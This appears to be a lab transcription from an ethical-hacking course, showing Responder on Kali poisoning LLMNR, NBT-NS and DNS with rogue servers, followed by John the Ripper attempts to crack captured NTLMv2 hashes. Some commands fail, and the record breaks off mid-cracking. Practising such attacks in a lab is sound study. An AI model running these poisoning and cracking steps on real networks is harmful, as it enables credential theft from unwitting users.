

SYSTEM HACKING - Active online Attack using Responder

```
Kali-Linux-2021.4a-vmware-amd64 - VMware Workstation

File Edit View VM Tabs Help

Kali-Linux-2021.4a-vmware-amd64 X Windows 7 x64 (3) X

root@kali: /usr/share/responder/logs

Usage: 100%

File Actions Edit View Help

root@kali) ~)
# responder -i eth0

[+] Poisioners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
DHCP [OFF]

[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
```

```
Kali-Linux-2021.4a-vmware-amd64 - VMware Workstation

File Edit View VM Tabs Help

Kali-Linux-2021.4a-vmware-amd64 X Windows 7 x64 (3) X

root@kali: /usr/share/responder/logs

File Actions Edit View Help

root@kali) ~)
# pwd
/root

root@kali) ~)
# cd /home/kali

root@kali) ~)
# cd /usr/share/responder/logs

root@kali) ~)
# ls
Analyzer-Session.log Config-Responder.log Poisioners-Session.log Responder-Session.log

root@kali) ~)
# john SMB-NTLMv2-SSP-192.168.56.133.txt
Created directory: /root/.john
stat: SMB-NTLMv2-SSP-192.168.56.133.txt: No such file or directory

root@kali) ~)
# john SMB-NTLMv2-SSP-192.168.75.131.txt
stat: SMB-NTLMv2-SSP-192.168.75.131.txt: No such file or directory

root@kali) ~)
# john Responder-Session.log
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)

root@kali) ~)
# john Config-Responder.log
Using default input encoding: UTF-8
Loaded 14 password hashes with 7 different salts (2.0x same-salt boost) (HMAC-SHA256 [password is key, SHA256 128/128 AVX 4x])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
```